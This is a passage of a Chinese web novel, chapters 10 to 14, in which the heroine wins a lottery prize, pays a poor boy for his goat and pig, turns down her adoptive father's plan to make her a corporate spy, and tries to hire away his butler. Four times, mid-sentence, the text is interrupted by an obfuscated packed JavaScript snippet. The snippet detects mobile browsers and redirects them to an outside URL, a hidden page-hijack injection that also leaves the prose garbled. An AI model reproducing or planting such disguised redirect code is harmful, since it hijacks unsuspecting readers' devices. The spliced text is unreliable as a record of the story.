“我有家,我有奶奶。我不是流浪儿童,也不是要饭的。我不要你的钱。” 说完,小孩默默地扭过头。 他将编织袋的袋口系好,然后抱起编织袋放到纸箱上面固定好,骑上车就准备离开。 施浓愣了下,急急叫住他。 “等等。” 小孩扭过头,眉头紧皱。 “干啥?” 施浓友善地笑了笑,“小孩哥,虽然这说起来不太好意思,但我可以请你帮个忙吗?” 10. 你们城里人 十分钟后,彩票店门口。 施浓兴高采烈地捧着一张价值一万,还有一张价值一百万的刮刮乐狠狠亲了几大口。 系统没有说谎。 中了!中了!真的中奖了! 一百零一万啊。 足足一百零一万啊。 虽然没有五百亿那么多,可已经相当不错了。 施浓头一回见到这么多钱! 彩票店老板同样兴奋,他人都不困了,手舞足蹈道:“哇,美女,你运气也太好了哇!就买两张,两张全中,直接中一百多万!牛逼啊!” 一大早,彩票店老板睡都没睡醒,刚把店门打开,正蹲在门口刷牙洗漱呢。 就在这时,一个人带着一股风呼一下就刮进了他的店里。 这人看上去很狼狈,衣服半湿不干,还带着泥点子。 头发也一缕一缕地贴在脸上,模样生得倒是怪好看的…… 可惜精神状态堪忧! 她一上来就要买两张刮刮乐,神情急得要命,就像是有人拿枪抵着她的背,买不到就会死。 神经兮兮的。 说真的,他经营这店这么久,什么样的人没见过。 可他确实没碰到过这种人——看似是个正常人,其实是个疯子! 听说这种人发起疯来可是很吓人的,惹不起惹不起。 他牙都来不及刷完,一口白沫,就连忙跑进店里给她拿了一叠刮刮乐。 希望这个祖宗买完之后赶紧走,千万不要在他的店里发疯。 哪成想这小祖宗看起来精神状态不太行,运气倒是很行。 买了两张,两张全中,直接一百多万到手! 说真的,这还是他这小店开业至今第一回开到这么大的奖。 要不是他亲眼所见,他也不敢相信这是真的。 “美女,你这一百多万有点多,我这个小店可兑不了。你得拿着身份证到兑奖中心去兑。” “兑奖扣20%的税,到手差不多还有几十万呢。以后你和你弟弟的日子就好起来了,多好啊。” 一听这话,站在门口的小孩瞬间就怒了,乌亮的瞳仁里都是怒火,他愤愤道:“她才不是我姐!她就是一个大骗子!” 这个女人骗他说她最亲的人在这里,如果她不赶紧来的话,连她亲人的最后一面都见不上。 她说得那么可怜,搞得他还以为她亲人要离世了……谁知道都是骗人的! 善良被人无情利用。 小孩心中的怒火在熊熊燃烧,他恶狠狠瞪了眼施浓,扭头就走。 “你去哪?等等。” 小孩一走,施浓匆忙跟彩票店老板道了谢告了别,而后赶紧追了上去。 “生气了?我没骗你啊。” 施浓走在小孩的身侧,脸上毫无愧疚,慢悠悠道:“我在这里孤家寡人,没有亲人,对于我们钱性恋来说,钱就是最亲的人。” “你想,我要是晚来一步,这刮刮乐要是被别人买走了,那我可不就是失去最亲的亲人了嘛。” “再说,我也算是间接给你上了一课。” 施浓义正言辞道:“俗话说得好,防人之心不可无。你要对陌生人保持戒心,不能人家说啥你都信。你要是碰见的都是我这样的好人也就算了,万一碰见坏人,把你带到穷山僻壤,摘你的心肝肺还有腰子,小心你以后再也见不到你奶奶!” “小孩,你听见我说的没?” “……” 倒反天罡! 强词夺理! 小孩满脸的委屈与愤怒。 “你骗人你还有理了?你还教训起我来了?你以为你是谁?你凭啥管我?” 小孩根本不想理这个厚脸皮的女人,骑上车就准备走。 没承想却被施浓一把拽住了后车座,根本动不了一点。 小孩快被气炸了。 “你干什么啊!我要走!我捡的纸箱、塑料瓶还在马路上扔着呢!大骗子,我警告你,你不许再缠着我!” “啧,别急啊,我有东西给你。” 施浓迅速地抽出那张一万的刮刮乐递给他。 “拿着,这张是你的。” “……” 给他? 小孩没想到施浓会搞这么一出,直接愣在原地,半天没说话。 施浓见状,直接把刮刮乐塞进他的单衣兜里。 “这不是白给你的。你借给我车,还给我领路,那咱俩之间就存在劳务关系。” “既然你提供了你的劳动,就应该获得相应的报酬。有来有往,很公平。” “小孩,天冷了,记得叫你奶奶带你买几件厚衣服。能上学就去上学,好好学习以后才不容易被骗,尤其是被像我这样的骗子骗。” 施浓笑了笑,轻轻拍了下小孩的脑袋,缓缓松开了他的车后座。 “好了,你走吧。” 自行车猛地一松,小孩才如梦初醒般反应过来。 他急切地把刮刮乐从衣服里面掏出来,“我不要!你拿走!” 施浓后退一步,没接。 “这是你的东西,你不要就扔了吧。” 顿了下,施浓继续道:“不过我觉得你是个聪明的小孩,应该不会做出那样的蠢事吧。你应该很清楚你现在是需要它的吧。” “……” 小孩半天没说话。 他低头看着手里的彩票,眉头紧皱。 他需要吗?他确实需要。 奶奶生病了,成天咳嗽,脸色难看极了。 她年纪大了,不能这样一直拖下去,身体会受不住的…… 有了这钱,他就可以带奶奶去看病了。 想到这里,小孩握紧了刮刮乐。 他的眼睛里闪过无数的犹豫和纠结,但慢慢的,这些纠结和犹豫都消失不见了。 小孩抬起头,目光很是坚定。 “我是需要钱,但我不能白拿你的钱。” 他很有原则道:“给你指路,带你过来,是我自愿的行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487090|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不需要你花这么多钱,也不值这么多钱。如果你真想报答我的话……” 小孩顿了下,礼尚往来道:“不如你也帮我一个忙吧?” …… 小孩没说具体要施浓帮他什么忙,只是示意施浓先跟着他。 他们先是骑车捡回了扔在马路上的塑料瓶和纸箱,然后又把这些东西卖到废品回收站,接着他们拿着卖废品的钱去市场转了一圈,最后小孩拎着买到的东西带着施浓拐七拐八走到了一个破破烂烂的旧厂房门口。 倒了一半的院墙,褪色生锈的大红铁门,周围荒草遍地,怎么看怎么破败,怎么看怎么熟悉。 施浓围着旧厂房转了三圈,左看右看,表情充满了不可思议。 不是她说,这地方怎么和她在末世住的地方有点像呢? 这扑面而来的熟悉感与亲切感,就好像旧地重游。 施浓惊喜道:“小孩,这是你家?” 家里的贫穷一览无余地坦露在外人面前,小孩没有否认,也没有难堪,他面色坦然道:“对,我家。” 施浓的目光诚恳,语气要多真挚有多真挚。 “你家不错,看着跟我家似的……考虑卖不?” 小孩:“?” 啊,你多冒昧啊。 上来就问别人的家卖不卖…… 脑子没病吧? 小孩眼神古怪地看了眼施浓,毫不犹豫道:“不卖!” “好吧。”施浓颇为遗憾地摇摇头,“真可惜。” 小孩:“?” 她的表情看起来是真可惜,不像是演的…… 他本来打算邀请她进屋看看的想法也在此刻彻底被打消。 小孩一边掏钥匙,一边目光警惕地盯着施浓,就好像生怕她偷家。 “你在这里等一下,我回家拿点东西。” 说完,小孩轻手轻脚地走进去,一举一动都小心翼翼,生怕吵醒什么人。 施浓在外面等了差不多有五分钟,小孩才出来。 彼时的她正在认真打量小孩家的院墙,睹物思情,一回头—— 只见六只眼睛齐刷刷地盯着她! 嚯,这可把她吓得够呛。 看着眼前这一幕,施浓吞了吞口水,有些不确定道:“这是……” 小孩没有直接回答她的问题,而是一脸认真道: “听说你们城里人审美很多元,包容性也强,还喜欢养些小动物,对小动物比亲生孩子还要好……” 说到这里,他目光诚恳,语气一点也不像开玩笑。 “你喜不喜欢小动物?如果你喜欢的话,我可以把我家咩咩和哼哼卖给你。你花钱买下它们,就当帮我的忙了。” “……” 听到这话,施浓沉默了。 不是她不想帮他的忙,而是这臭小子是不是对‘小动物’这三个字有什么误解? 看着眼前足有一米多高的黑山羊以及膘肥体壮的大白猪…… 施浓:“???” 11. 恩将仇报 害怕这臭小子恩将仇报、强买强卖,施浓默默后退半步,巧妙地和这一人两动物保持了一个安全距离。 而后她指了指黑山羊,“这咩咩吧?” 又指了指大白猪,“这是哼哼吧?” “这俩……”施浓的嘴张了又张,还是没能昧着良心说出那个‘小’字,“动物,是你养大的吗?” 小孩回答得很快,“不是——” 听到这个否定的回答,施浓有种既在意料之外又在情理之中的恍然大悟。 “原来不是你养大的啊,怪不得。” 不是自己养大的,没什么感情,也不心疼,怪不得他这么草率就要卖给她呢。 他也不调查调查她是啥人。 她是喜欢小动物不假,但她更喜欢吃小动物(——bushi)。 对于这种能吃的动物,她是真怕她控制不住自己,一个不小心把它们炫嘴里。 没开玩笑,认真的。 施浓正这样想着。 一抬头,就看见小孩一脸无语地看着她。 施浓:“?” 这小子怎么这么看她……难不成他已经透过她单纯的外表看透了她想吃的本性了? 不能吧。 施浓欲盖弥彰地擦了擦嘴角,而后赶紧收回了她盯着两只‘小’动物疯狂脑补过后垂涎欲滴的目光。 她表现得没有那么明显……吧? 施浓有些不确定了。 就在这时。 只听见小孩幽幽道:“你是不是……” 我不是我没有你不要冤枉我。 施浓否认的话都到了嘴边,眼看着就要此地无银三百两地狂飙演技,睁着眼睛说瞎话。 又听见小孩道:“搞错了啊。咩咩和哼哼是我养大的,不过——” 他指了指黑山羊,“它是哼哼。” 又指了指大白猪,“它才是咩咩。” 施浓:“……” 施浓:“???” 听到这话,施浓的一口气轻轻放下又高高提起。 原来这小子没看透她,不过这小子…… 给猪取名羊叫,给羊取名猪叫??? 多冒昧啊他。 冒昧也就算了,还不尊重动物! 咋滴,学一门语言不够,非得逼着它们学外语呗? 施浓摇了摇头,无力再吐槽什么。 沉默片刻,她清清嗓子,问出了她最关心的一个问题。 “既然是你养大的,你为什么要把它们卖给我啊?不想要了?还是因为缺钱不得不卖?” “……” 小孩没说话,只是疼惜地摸了摸他的两位‘小’动物,眼神中充满了不舍。 见他这样,不用他说,施浓用脚趾头想也知道是因为后者。 她重重叹了口气。 这小子…… 典型的没苦硬吃、没罪硬受啊! 好好给他钱他死活不要,现在却要把心爱的动物卖了来换钱…… 施浓忍不住跟系统吐槽道:【亿哥,你说这小子怎么想的啊?我从小养什么死什么,你说这忙我怎么帮?我是拒绝呢拒绝呢还是拒绝呢?】 系统道:【宿主,其实你也知道吧。这小孩就是犟,自尊心还强,他不想平白无故接受别人的帮助,但又实在需要钱,所以才会这样。】 【他其实也挺可怜的。他五岁那年,亲妈没了,亲爸另娶,就剩他一个没人要。是拾荒的老人,也就是他口中的奶奶好心收留了他。他和奶奶相依为命,现在他奶奶年纪大了,身体不好,经常生病。他们没啥钱,老人也不舍得花钱,更别提去什么医院……】 说到这里,系统叹了口气道:【宿主,既然遇见了,也是有缘分,我们顺便帮他一把吧。虽说他不在被男主控魔改人生的解救人员名单中,但俗话说得好,好人有好报——】 【宿主,等你做的好事多了,积累的福报到达了一定额度,是可以在我这里兑换附加奖励的。比如好运系数、奖励金额翻倍、回档等等。】 合着做好事还可以兑换奖励啊? 一听这话,施浓原本三分想要帮助小孩的心此刻也变成了七分。 她聪明的小脑瓜这么一转,一下子就想到了一个两全其美的办法。 “有了。” 施浓低头看向小孩,认真道:“小孩,你的咩咩和哼哼我很喜欢,我是肯定要买的。但现在的问题就是——” “我家的地方其实不大,我也不怎么会养动物,所以我打算把它们寄养在你这里,花钱雇你帮我照顾它们。” 说着,她再次递给了小孩那张价值一万的彩票。 “这是买咩咩和哼哼以及雇佣你的钱,你收下吧。” “这……不太对吧?” 小孩眉头紧皱,半天没伸手。 “听起来我好像什么损失也没有,还白得了一笔钱?” “怎么没有?”施浓当即反驳道:“你以为咩咩和哼哼让你养着就还是你的?不,它们以后归我了,跟我姓,你只是代养而已。” “可是……” 小孩还想说点什么,施浓直接打断了他。 “行了,别磨叽了,快拿着。” 丝毫不给他拒绝的机会,施浓把彩票往他兜里一塞,然后又塞了她的联系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487091|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式给小孩,而后撒腿就跑。 小孩见状想追,可他左牵羊,右拽猪,这俩‘小’动物还不咋配合,他愣是一点也跑不动。 见状,他只能扯着嗓子喊道:“你等等!就算按你说的,也不用这么多钱啊!你回来!我们再商量商量啊!” 施浓头也不回,有了一百万傍身,她第一次体会到了什么叫做财大气粗。 她摆摆手道:“害,没事。我这人大方,不用给我省钱,都给我用最好的。你好好照顾它们啊,我会定期来探望的,有事给我打电话。” …… 约摸小孩怎么着也追不上她之后,施浓这才慢慢停下狂奔的脚步。 她弯下腰,喘着粗气,尽力平复呼吸。 虽然这一早上她都没停下来,东奔西跑,累得要死,但她现在的嘴角比AK还难压。 有钱了有钱了,她真的有钱了! 施浓举起那张价值一百万的彩票来回反复地看。 一百万啊,可不是小数目啊。 拿到钱后她要怎么花呢? 玛莎拉蒂?劳斯莱斯?兰博基尼? 私人潜艇?私人游轮?私人飞机? 豪宅?别墅?总统套房? 翡翠?钻石?金元宝? 不不不,这些太俗了,也不是最重要的,而且就靠她这点钱也无法完全实现,所以暂时先不想。 当务之急,她肯定要先去兑彩票,尽快把这张轻飘飘的纸换成实实在在的钱。 然后她要把工作辞了,亲眼看着男主控系统被分解,最后她要开着喜欢的车全国环游! 祖国的大好河山,末世时被毁去了大半。 天是灰的,没有太阳,抬眼望去一片荒芜。 塞北的雪,江南的风,日照金山,苍山洱海……好多东西她只听说过,却从没亲眼见过。 之前她没时间、没钱、没自由,现在她有这个机会,还有能力,她要去看云海,看雪山,看霞光万里,看山河辽阔! 哇,光是想想就觉得生活可期,未来可望,人生没有什么烦恼呢。 有的只是无穷无尽的幸福、快乐和自由。 施浓根本压抑不住内心的激动, 她健步如飞,仰天狂笑。 哈哈哈哈哈哈。 从此以后,她的人生春暖花开、艳阳高照、晴空万里,她要微笑、大笑、狂笑、爆笑。 施浓尽情释放情绪。 她旋转、跳跃、不停歇,嘹亮的笑声飘荡在一整条荒无人迹的小路上。 就在这时,她的身后响起了一道不太确定的声音。 “施……小姐?” 12. 刷新三观 听到有人叫她,施浓扭过头去。 在豪门工作了几十年,风风雨雨见了无数,就连遇到地震也能淡定插花的老管家冷锋,在亲眼看到施浓的脸后,震惊到说不出话。 他没有认错人。 几秒前,他看到的那个健步如飞、笑声嘹亮的女孩竟然真的是他认识的那个三步一咳、五步一喘的病弱小可怜施小姐? 几日不见,施小姐何时变得这般……狂野了? 她居然能跑这么快,笑声都能把房梁上积了三年的老灰震下来—— 她的咳疾呢? 她的哮喘呢? 统统不翼而飞了吗? 这件事情的冲击力过于强大,冷锋半天都没反应过来。 他下意识揉了揉眼,又摘下他那副价值不菲的金丝边眼镜,用真丝手帕仔仔细细、近乎神经质地擦了一分钟,可等他重新戴上眼镜,他看到的人并没有丝毫变化! 他又狠狠掐了一把自己的大腿——嘶!是真疼!不是做梦! 冷锋感觉自己的视网膜在颤抖,他引以为傲的、能在任何时刻都能条理清晰讲话的嘴皮子,此时就好像被胶水给粘得严严实实,半天都吐不出一个字。 还是施浓率先打破了沉默。 “冷叔,你怎么在这?” 这声音清脆响亮,带着一股子鲜活的、甚至可以说是莽撞的生命力,直直地撞入冷锋的耳朵里。 冷锋没有回答。 他哆嗦着身子,不敢置信地抬起头。 这声音!声音也变了! 过去施小姐讲话低柔轻软,就好像是春日最轻柔的柳絮拂过耳朵,让人恨不得把呼吸都放轻了,夹着嗓子跟她说话。 而现在她这嗓门……去路边吆喝卖瓜都不用要喇叭! 这还没完。 冷锋还没从这波声音的震惊中回过神来,又见施浓咧嘴一笑,对他露出一个标准的、八颗牙齿的明媚微笑。 这笑容太灿烂,差点把他送走。 冷锋脚下踉跄了半步,一口气差点没喘上来。 注意,这不是夸张,而是事实。 施小姐过去何时这么笑过? 她通常都是嘴角微微牵起,带出一丝惹人怜爱的浅笑,温温柔柔,氤氲着恰到好处的娇羞。 现在她这个笑容……过于阳光,过于有力量感,就像正午的骄阳,刺得他眼睛发酸。 几天不见,一个人怎么能有翻天覆地、脱胎换骨的变化呢? 在这一刻,冷锋的世界观都崩塌了。 他颤颤巍巍地伸手,试图扶着点什么。 可这荒郊野岭的,什么也没有,他只能受伤地抱住破碎的自己。 闭眼缓了好大一会儿,凭借着自己超强的职业素养,冷锋还是缓了过来。 脑子清醒之后,他想到了正事。 也顾不上管施浓的变化,冷锋连忙道:“施小姐,先生要见你,你赶紧随我回去一趟吧?” “先生?” 一听这两个字,施浓的笑容顿时收敛了,换上了几丝警惕。 冷锋是凌云灏家的管家,他口中的先生不是别人,正是凌世铮——凌氏集团的掌舵人、凌云灏那个身价过亿、常年活跃在财经杂志封面的亲爹。 虽说施浓十岁被凌家从孤儿院带了回去,也在凌家生活了好几年,可她见这位凌氏集团掌舵人的次数却屈指可数。 后来施浓上高中后从凌家搬出去,自力更生,更是和凌世铮八竿子都打不着。 现在他突然找她—— 难不成他已经知道了她扇了他儿子三巴掌,这么快就要来找她算账了? 不会吧不会吧不会吧? 凌云灏一个二十多岁的成年大男人,被人打了还要回家告家长啊? 他要不要脸啊! 施浓眉头紧皱,脸色不是很好看。 去还是不去,现在是一个问题。 如果她去的话,退一万步讲,就算凌世铮要见她不是因为他儿子,但指定也没啥好事。 俗话说得好,无事不登三宝殿。 虽然她和凌世铮接触不多,也不是很了解他,但她了解凌云灏啊。 就看凌云灏那小心眼、斤斤计较、蛮横无理的样子……有其子必有其父,凌世铮又能是啥好东西? 可如果她不去的话,就是落凌世铮的面子,万一不小心得罪他,那这老小子要是想整她,岂不就是动动手指头的事儿? 虽然她现在兜里揣着足足一百万的巨款,底气足了不少,但她的这点钱在商业巨鳄凌世铮面前就跟一毛钱钢镚没啥区别。 所以就算她不去,也不能硬碰硬,得想个折中的方法,就是她既可以不去,又不会得罪凌世铮。 施浓的眼睛滴溜溜一转,瞬间想到了一个好办法。 她清清嗓子,努力让自己的声音听起来又真诚又无奈。 “啊,先生要见我?我可真是荣幸之至。不过……” 施浓话锋一转,颇为为难道:“我最近养了两只特别可爱、特别粘人的‘小’宠物。它们胆子特别小,一离开我就茶饭不思,嗷嗷叫唤……” “冷叔,我去的时候,可以把它们也带上吗?” 施浓眼神亮晶晶地看向冷锋。 “两只小宠物?” 听施浓这么一说,冷锋的脑海里飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487092|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速闪过一些可爱的猫猫狗狗的画面—— 它们顺滑的毛发会被主人打理得无比妥帖,通体雪白,圆圆的眼睛,矜贵又傲娇,让人忍不住想rua一把。 想到这里,冷锋的脸上也带上了星星点点的笑意,他通情达理道:“当然可以,施小姐。” “小猫小狗离不开人,你想带上就带上吧。我想,你养的小宠物一定都很可爱,你和先生谈话的时候,我还可以帮你照顾,猫猫狗狗什么的我也是很爱的……” 冷管家想得无比美好。 可惜幻想很美好,现实都破灭。 施浓眨巴着大眼睛,一脸的纯良和无害。 “冷叔,你是不是误会什么了?我养的不是猫猫狗狗啊。” “啊,那是什么?” 冷锋一脸疑惑。 一想到她接下来要说什么,施浓就憋不住笑。 她默默掏出了手机里留存的照片,举到冷锋面前,热情道:“冷叔,你看!” “这位是哼哼,是我的宠物羊,这位是咩咩,是我的宠物猪,它们就是我的两只宠物。” “怎么样,冷叔。”施浓表情无辜道:“我没说错吧,它们是不是很、可、爱啊?” 冷锋低头看向手机屏幕上那只看上去就很健壮的黑山羊和那头膘肥体壮的大白猪…… 啊,这是宠物?? 还是‘小’宠物??? 冷锋:“???” …… 看着冷锋震惊的表情,无语的目光,施浓差点没笑死。 没人比她更懂他此刻的心情。 因为她前不久刚经历过。 独惊惊不如众惊惊。 有这福气,大家可得一起享! 施浓开心得不能自已。 而她对面的冷锋,短短的一分钟,表情一变又变。 沉默半天,秉持着专业精神,冷锋硬着头皮道:“施小姐,原谅我没见过世面,并且贸然答应了你的请求。这件事情有些棘手……我还是需要请示一下先生。” 施浓乖乖点头,做出了一个请便的手势。 冷锋转过身,走到一边,掏出手机,拨通了凌世铮的电话。 “先生,施小姐答应了您的见面邀约,但她有个条件……” 电话那头,凌世铮威严低沉的声音传来。 “哦?什么条件?” “回先生。” 冷锋深吸一口气,仿佛用尽了全身的力气。 “施小姐要将她饲养的两只宠物——一只比成年男子还要健壮的黑山羊还有一头膘肥体重的大白猪,带着一起去。” 凌世铮:“???” 13. 往事不堪回首 “……” 电话那头,是死一般的寂静。 冷锋隔着听筒,完全可以想象他家先生那张万年冰山脸上,此时此刻可能会出现的裂痕。 他颇为担忧道:“先生?您还好吗?” 凌世铮半天才吐出几个字。 “施浓……在你旁边吗?” 冷锋看了眼施浓,回复道:“在的,先生。” “你把电话给她。” “好的,先生。” 冷锋走向施浓,捂住听筒,礼貌道:“施小姐,先生要和你通话,你现在方便吗?” “……” 这是不面谈,改为话谈了? 不过她和凌世铮这老小子也没什么好说的啊。 施浓很想硬气地说不方便,但她现在好像也没啥不方便的。 算了,还是给这老小子一个面子吧。 施浓叹了口气。 在心甘情愿和不甘不愿中间,选择心不甘情不愿接这通电话。 她深吸一口气,语气还算恭敬。 “先生,我是施浓,你找我有事吗?” 听到施浓的声音,凌世铮一点也没浪费时间,上来就开门见山,直击主题。 “施浓,听说你最近换了份新工作,在心诚对吗?” “……啊?” 施浓没太反应过来。 这老小子怎么突然关心起她的工作了? 沉默片刻,施浓试探性道:“先生,你怎么知道我在心诚上班?” “这个你不用管。” 凌世铮在电话那头很轻地哼了声,而后语气陡然变得深沉。 “心诚目前的业务与凌氏高度重合,未来很有可能成为凌氏最大的竞争对手,这个你应该知道吧?” “不知道。” “……” 施浓这话说的不假。 她确实没有关注这些,也没精力关注这些。 她是真的不知道。 不过这老小子突然提这个干嘛? 施浓摸不透,干脆直接问:“先生,你突然跟我说这个干嘛?” “施浓,明人不说暗话。我需要你继续留在心诚,并努力往上爬。” “以你的学历和能力,不出一年,应该就能接触到心诚的核心项目和未来规划……” 凌世铮的语气充满了理所当然的笃定。 “施浓,凌家养你这么久,也是你报答的时候了。我需要你——” “成为凌氏安插在心诚的眼睛!” “……” 凌世铮的声音斩钉截铁,带着一股强烈的使命感还有中二气息。 听他这一通说,施浓这才反应过来。 哦,怪不得这老小子突然找她呢。 合着是要靠她打阴险的商战啊? 还搞上间谍那一套了? 啧,他还挺会玩。 可惜—— 施浓清清嗓子,无情打断了电话那头凌世铮正在勾勒的宏伟商业蓝图。 “先生,你是不是搞错了什么?” “什么?” “我是在心诚不假,但我现在所在的部门……” “是保洁部啊!” “……” “就算我一步一步爬到最高,成为保洁部部长,我也不觉得我能接触到什么核心项目或是未来规划,顶多就是不用亲力亲为地干活了,所以你是不是想的有点多呢?” 简单来说,你这老小子在想屁吃! “……” 电话那头,陷入了一种诡异的寂静中。 三秒钟后—— 凌世铮的声音陡然拔高。 “你说什么?什么部门?” “保、洁、部。” 施浓生怕凌世铮没听清,还贴心解释了一番,“就是负责打扫、清洁的部门。” “……” “???” 又是一阵更长的、令人窒息的寂静。 过了好久,凌世铮的声音再次响起,带着浓浓的不敢置信以及荒了个大谬的意味。 “你一个堂堂A大高材生,跑去心诚……” “当保洁???” “……” “你没事吧?国家辛辛苦苦培养你,凌家好心好意养育你,就是为了让你去扫地的吗???” “……” “施浓,你的人生就这么点追求?你难道不觉得羞愧吗???” “……” 凌世铮在电话那头义愤填膺,语气震惊中又充满了恨铁不成钢。 一向泰山崩于前而色不变的他情绪竟能失控激烈至此,足以说明这件事情在他眼里的离谱程度。 在凌世铮的声声质问与指责中,施浓一句话也没说。 倒不是她不想说话,而是怕她一开口就是一连串口吐芬芳的礼貌用语。 不是,这老小子还好意思说? 她不做其他的工作是她不想吗? 要不是拜他的好大儿所赐,她至于沦落至此吗??? 一说起这个,施浓就一肚子怨气。 想当初,她堂堂A大顶尖专业高材生,常年奖学金拿到手软,毕业时offer多到能当扑克牌打。 她原本有很光明的未来,高薪的工作做着,天赋异禀又勤勉过人,被视为领域内冉冉升起的明日之星。 如果不是凌云灏不分时间不分场合动不动就call她,男主控系统还要她对凌云灏必须召之即来、随叫随到,她至于三天打鱼两天晒网,动不动还迟到早退,把好好的工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487093|202074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给搞黄吗? 甚至把她业界的名声都给搞臭了! 试问,就像她这么明目张胆,动不动就罢工的员工,哪个老板敢要她? 当然没有! 凌云灏有殷实的家庭给他兜底,他就算整天只顾吃喝玩乐不努力不上进不工作也能活下去,还能活得很好。 可她不一样啊。 她的身后空无一人,她不工作是真的会被饿死的! 要不是保洁这份工作及时向她抛出橄榄枝,救她于水火,支撑她勉强度日,她活不到今天。 再说,保洁这工作怎么了? 就算她一辈子只当保洁又怎么了? 劳动最光荣。 她靠自己的双手吃饭,还美化了环境,怎么说也比凌云灏那群不学无术,对社会没有任何帮助,只会聚众惹是生非的富二代们强吧? 这是她的自由! 她想干嘛就干嘛,凌世铮这老小子凭什么管她? 就凭凌家收养了她几年?挟恩以报? 别,可千万别。 她本来在孤儿院过得挺好,不愁吃不愁喝,到凌家才是真的受罪。 凌云灏不喜欢她,趁着凌世铮他们不在的时候,就使劲欺负她。 而凌世铮工作忙,不在家是常态,凌母季与墨又常年呆在三楼,基本不怎么出房间,这更给了凌云灏极大的发挥空间。 她住的是佣人房,吃饭还饥一顿饱一顿,每天徒步十几公里去上学,时不时还要接受男主控系统和凌云灏的行为恐吓和语言羞辱。 如果不是她是从末世过来的,身心无比强大,早都被他们虐死了,哪能活到今天? 凌家除了管家冷锋和凌母季与墨对她不错,其他人对她哪里有恩? 现在又凭什么要她报?! 她没报仇都不错了! 往事不堪回首,想多了都是气。 施浓越想火越大,装都不想装了,当即就想好好地骂一骂凌世铮这个老小子,顺便也骂一骂他养出来的‘好儿子’。 虽然她现在的财力暂时不如他,但她光脚的不怕穿鞋的,谁怕谁啊?! 如果他想整她,尽管放马过来啊。 大不了鱼死网破、同归于尽! 施浓想得挺好,然而还没等她采取行动,凌世铮这老小子倒是先一步挂断了电话。 “……” 听着电话里骤然响起的忙音,施浓更气了! 这老小子果然和他的好大儿一样没素质! 看她没有利用价值,说都不说一声就挂了?? 他有没有把她放在眼里啊!! 好,很好。 既然他敢这么怠慢她,那就别怪她…… 撬他墙角! 哼,他等着吧! 14. 有点小钱 施浓将目光转向了站在一旁的冷锋。 在凌家呆了几十年的冷叔,什么没听过,什么没见过,他的手里一定掌握了不少有关于凌家以及凌家人的豪门秘辛或者软肋。 要是冷叔成为她的人,那以后对付凌家、凌世铮还有凌云灏,那还不是手拿把掐的。 到时候……哼哼,他们哭都来不及,就让他们后悔去吧! 施浓把手机还给冷锋,笑得一脸谄媚,开始了她的挖墙脚大业。 “冷叔,你每天要服侍像凌世铮、凌云灏这么难伺候的父子俩一定很辛苦吧?你年纪大了,还要受这份罪,我真是看不下去了!要不你干脆辞职,以后跟我过吧!我给你养老!真的!” 施浓眼神热切,信誓旦旦。 为了表示她所言不虚,不是在空口说白话,她真的完全有能力保障冷锋的晚年生活,施浓从兜里掏出了那张价值一百万的彩票。 “冷叔,你看!一百万!我现在有钱,完全可以养活咱俩。你以前那么照顾我,现在换我照顾你。你没有子女,我就是你的亲人,以后我们相依为命啊。” “……” 施浓的语气认真,目光坚定,还充满了跟我走有肉吃的诱惑。 看着她无比真诚的模样,冷锋没有说话。 但他实实在在有被感动到。 他没想到施浓会说出这么一番话。 多好的孩子啊,还念着他的好,懂得知恩图报,甚至还要给他养老。 冷锋那张常年波澜不惊的脸在继亲眼看见施浓的惊天巨变以后,再一次出现了明显的波动。 他的眼眶微红,声音温和,带着岁月沉淀的淳厚。 “施小姐,你的好意,我心领了。” “我在凌家,已经干了三十七年,服侍了凌家三代人,早就习惯了。先生的脾气是不太好,少爷也是年轻气盛,但人嘛,相处久了就有感情,我对凌家有感情,只要凌家一天需要我,我就不可能走。” “况且,凌家对我不薄——” 说到这里,冷锋话锋一转,“虽然签了保密协议,但我偷偷告诉你——” “我的年薪,八百万哦。” “……” 仿佛没看到施浓瞬间石化的表情,冷锋贴心地将施浓高高举起的彩票重新推到她身边,语气平静,像是在陈述今天的天气不错,轻描淡写中就凡尽了尔赛。 “一百万,我有的,不用花你的钱。” 施浓:“……” 